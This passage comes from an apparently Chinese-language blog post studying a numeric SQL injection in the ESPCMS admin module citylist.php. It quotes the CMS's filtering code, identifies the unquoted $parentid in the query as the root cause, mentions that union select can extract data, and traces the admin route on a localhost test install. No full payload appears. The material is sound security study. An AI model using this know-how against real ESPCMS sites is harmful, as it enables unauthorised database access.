&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  补充几个知识点：

  &lt;strong&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;magic_quotes_gpc&lt;/code&gt;&lt;/strong&gt;

  当 &lt;code class=&quot;highlighter-rouge&quot;&gt;magic_quotes_gpc&lt;/code&gt; 设置为 on，所有的&lt;code class=&quot;highlighter-rouge&quot;&gt; ' (单引号)、&quot; (双引号)、\（反斜杠）和 NUL's&lt;/code&gt; 被一个反斜杠自动转义。 （本特性已自 PHP 5.3.0 起废弃并从 PHP 5.4.0 开始移除）

  &lt;strong&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;addslashes()&lt;/code&gt;&lt;/strong&gt;

  &lt;code class=&quot;highlighter-rouge&quot;&gt;string addslashes ( string $str )&lt;/code&gt; 返回字符串，该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是&lt;code class=&quot;highlighter-rouge&quot;&gt;单引号（'）、双引号（&quot;）、反斜线（\）与 NUL（NULL 字符）&lt;/code&gt;。

  PHP 5.4 之前 PHP 指令 &lt;code class=&quot;highlighter-rouge&quot;&gt;magic_quotes_gpc&lt;/code&gt; 默认是 on， 实际上所有的 GET、POST 和 COOKIE 数据都用被 &lt;code class=&quot;highlighter-rouge&quot;&gt;addslashes()&lt;/code&gt; 了。 不要对已经被 &lt;code class=&quot;highlighter-rouge&quot;&gt;magic_quotes_gpc&lt;/code&gt; 转义过的字符串使用 &lt;code class=&quot;highlighter-rouge&quot;&gt;addslashes()&lt;/code&gt;，因为这样会导致双层转义。 遇到这种情况时可以使用函数 &lt;code class=&quot;highlighter-rouge&quot;&gt;get_magic_quotes_gpc()&lt;/code&gt; 进行检测。
&lt;/blockquote&gt;

&lt;strong&gt;接下来分析下返回值&lt;/strong&gt;，最后一句 return 语句，通过 &lt;code class=&quot;highlighter-rouge&quot;&gt;preg_htmldecode&lt;/code&gt; 和 &lt;code class=&quot;highlighter-rouge&quot;&gt;htmldecode&lt;/code&gt; 两个函数对输入进行过滤检测，防止不安全字符的输入，这里简单理解下 两个函数的功能。

&lt;code class=&quot;highlighter-rouge&quot;&gt;preg_htmldecode&lt;/code&gt; 函数对 &lt;code class=&quot;highlighter-rouge&quot;&gt;'&amp;amp;', '&quot;', '&amp;lt;', '&amp;gt;'&lt;/code&gt; 等字符转换为 HTML 字符实体 &lt;code class=&quot;highlighter-rouge&quot;&gt;'&amp;amp;amp;', '&amp;amp;quot;', '&amp;amp;lt;', '&amp;amp;gt;'&lt;/code&gt;，因为在 HTML 中对某些字符进行了预留，以避免把这些字符误认为标签，如果要正常显示这些预留字符，必须在 HTML 源码中使用字符实体。

&lt;code class=&quot;highlighter-rouge&quot;&gt;htmldecode&lt;/code&gt; 函数对 &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 脚本功能和标签等字符进行过滤，直接转换为空值，如果用户可以提交脚本数据，很容易进行 XSS 攻击，这里进行了简单的过滤来防范。

&lt;blockquote&gt;
  这里用到了正则的知识，我对正则的运用很不熟悉，理解代码有些困难，后续要详细的学习一遍，很多过滤功能都要用到正则，如果正则的运用不严谨，很容易出现漏洞。代码审计应该要能够非常熟悉正则运用。
&lt;/blockquote&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;preg_htmldecode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;is_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
				&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;preg_htmldecode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str_replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'&amp;amp;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&quot;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;lt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'&amp;amp;amp;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;amp;quot;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;amp;lt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;amp;gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;preg_replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'/&amp;amp;amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;amp;\\1'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;htmldecode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;nv&quot;&gt;$search&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
		    &lt;span class=&quot;s2&quot;&gt;&quot;'&amp;lt;script[^&amp;gt;]*?&amp;gt;.*?&amp;lt;/script&amp;gt;'si&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		    &lt;span class=&quot;s2&quot;&gt;&quot;'&amp;lt;[\/\!]*?[^&amp;lt;&amp;gt;]*?&amp;gt;'si&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;nv&quot;&gt;$replace&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
		    &lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		    &lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;is_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;nv&quot;&gt;$str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;htmlspecialchars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
			&lt;span class=&quot;nv&quot;&gt;$str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;preg_replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$str&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
				&lt;span class=&quot;nv&quot;&gt;$str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;htmlspecialchars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
				&lt;span class=&quot;nv&quot;&gt;$str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;htmldecode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;strong&gt;分析了 &lt;code class=&quot;highlighter-rouge&quot;&gt;accept()&lt;/code&gt; 的返回值后，就很清楚漏洞存在的原因了，根本的问题是 &lt;code class=&quot;highlighter-rouge&quot;&gt;$parentid&lt;/code&gt; 没有用引号进行闭合，后续对该变量的过滤都形同虚设，是一个数值型 SQL 注入漏洞，在注入时，不需要用引号来闭合源码本身的 SQL 语句，可以用 union select 等语句来拼接自己构造的 SQL 语句进行查询，就很容易获取数据库信息了。&lt;/strong&gt;

&lt;code class=&quot;highlighter-rouge&quot;&gt;$sql = &quot;select * from $db_table where parentid=$parentid&quot;;&lt;/code&gt;

&lt;h3 id=&quot;0x03-漏洞触发&quot;&gt;0x03 漏洞触发&lt;/h3&gt;

知道了代码存在的漏洞，下步就是要想办法来触发漏洞，上述 SQL 语句位于 &lt;code class=&quot;highlighter-rouge&quot;&gt;oncitylist()&lt;/code&gt; 函数，该函数是 &lt;code class=&quot;highlighter-rouge&quot;&gt;important&lt;/code&gt; 类的成员函数，父类是 &lt;code class=&quot;highlighter-rouge&quot;&gt;connector&lt;/code&gt;。所在文件为 &lt;code class=&quot;highlighter-rouge&quot;&gt;/adminsoft/control/citylist.php&lt;/code&gt;。所以我们的目标就是要构造 URL 参数或者某个页面表单参数，来触发 &lt;code class=&quot;highlighter-rouge&quot;&gt;citylist.php&lt;/code&gt; 文件里的 &lt;code class=&quot;highlighter-rouge&quot;&gt;oncitylist()&lt;/code&gt; 函数。

先尝试直接访问该文件，以及它的目录，出现以下错误，应该是 PHP 系统和语言的问题，与该 CMS 本身代码无关，跳过不管。

&lt;!-- ![1524208518197](attaches/1524202850720.png) --&gt;

&lt;figure&gt;
&lt;a&gt;&lt;img src=&quot;https://6xian.github.io/attaches/2018-04-22-codes-audit-basic-espcms-numeric-sqli/1524202850720.png&quot; /&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;!-- ![1524208104442](attaches/1524202685279.png) --&gt;

&lt;figure&gt;
&lt;a&gt;&lt;img src=&quot;https://6xian.github.io/attaches/2018-04-22-codes-audit-basic-espcms-numeric-sqli/1524202685279.png&quot; /&gt;&lt;/a&gt;
&lt;/figure&gt;

再访问上一级目录，即 &lt;code class=&quot;highlighter-rouge&quot;&gt;/adminsoft&lt;/code&gt;，会跳转到 &lt;code class=&quot;highlighter-rouge&quot;&gt;http://127.0.0.1/espcms/adminsoft/index.php?archive=adminuser&amp;amp;action=login&lt;/code&gt;，网站管理员的登陆页面。其实从文件目录也可以看出，这个漏洞的触发需要管理员登陆后才可以，从常规的渗透测试流程来看，是不太可能提前获取管理官权限的，除非授权进行白盒测试才可能拿到权限。这里作为学习素材，先用管理员权限来测试。

&lt;!-- ![1524208994064](attaches/1524208994064.png) --&gt;

&lt;figure&gt;
&lt;a&gt;&lt;img src=&quot;https://6xian.github.io/attaches/2018-04-22-codes-audit-basic-espcms-numeric-sqli/1524208994064.png&quot; /&gt;&lt;/a&gt;
&lt;/figure&gt;

用管理员账号和口令登陆。地址跳转到

&lt;code class=&quot;highlighter-rouge&quot;&gt;http://127.0.0.1/espcms/adminsoft/index.php?archive=management&amp;amp;action=tab&amp;amp;loadfun=mangercenter&amp;amp;out=tabcenter&lt;/code&gt;

&lt;!-- ![1524209590854](attaches/1524209590854.png) --&gt;

&lt;figure&gt;
&lt;a&gt;&lt;img src=&quot;https://6xian.github.io/attaches/2018-04-22-codes-audit-basic-espcms-numeric-sqli/1524209590854.png&quot; /&gt;&lt;/a&gt;
&lt;/figure&gt;

有些基本的尝试后，我们再来看下 &lt;code class=&quot;highlighter-rouge&quot;&gt;citylist.php&lt;/code&gt; 代码。既然是 &lt;code class=&quot;highlighter-rouge&quot;&gt;oncitylist()&lt;/code&gt; 函数有问题，函数属于 &lt;code class=&quot;highlighter-rouge&quot;&gt;important&lt;/code&gt; 类，就要从全局找下在哪里实例化了这个类。

利用 Seay 工具的全局搜索，或 Sublime 的文件夹搜索，很容易定位到实例化 &lt;code class=&quot;highlighter-rouge&quot;&gt;important&lt;/code&gt; 类的文件，为 &lt;code class=&quot;highlighter-rouge&quot;&gt;/adminsoft/index.php&lt;/code&gt;。

&lt;!-- ![1524210507024](attaches/1524210507024.png) --&gt;

&lt;figure&gt;
&lt;a&gt;&lt;img src=&quot;https://6xian.github.io/attaches/2018-04-22-codes-audit-basic-espcms-numeric-sqli/1524210507024.png&quot; /&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;code class=&quot;highlighter-rouge&quot;&gt;index.php&lt;/code&gt; 代码不长，我们定位到实例化 &lt;code class=&quot;highlighter-rouge&quot;&gt;important&lt;/code&gt; 类的代码附近细看下。

&lt;!-- ![1524210783759](attaches/1524210783759.png) --&gt;

&lt;figure&gt;
&lt;a&gt;&lt;img src=&quot;https://6xian.github.io/attaches/2018-04-22-codes-audit-basic-espcms-numeric-sqli/1524210783759.png&quot; /&gt;&lt;/a&gt;
&lt;/figure&gt;

代码如下：

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$archive&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;indexget&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'archive'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'R'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$archive&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$archive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'adminuser'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$archive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$action&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;indexget&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'action'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'R'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$action&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'login'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;in_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$archive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'acmessagemain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'adminuser'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'advertmain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'adverttypemain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'albummain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'article'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'bbsmain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'bbstypemain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'callmain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
	    &lt;span class=&quot;s1&quot;&gt;'citylist'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'connected'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'createmain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'createseomain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'enquirymain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'filemain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'filemanage'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'formmain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'formmessmain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'language'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'languagepack'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
	    &lt;span class=&quot;s1&quot;&gt;'lib_menu'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'mailinvite'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'mailsendmain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'mailtemplatemain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'management'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'memattmanage'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'membermain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'memclassmanage'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'modelmanage'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'ordermain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
	    &lt;span class=&quot;s1&quot;&gt;'payplug'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'payreceipt'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'powergroup'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'printtemplatemain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'recommanage'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'seomanage'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'shipplug'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'shipreceipt'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'sitemain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'skinmain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'sqlmanage'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'smstemplatemain'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
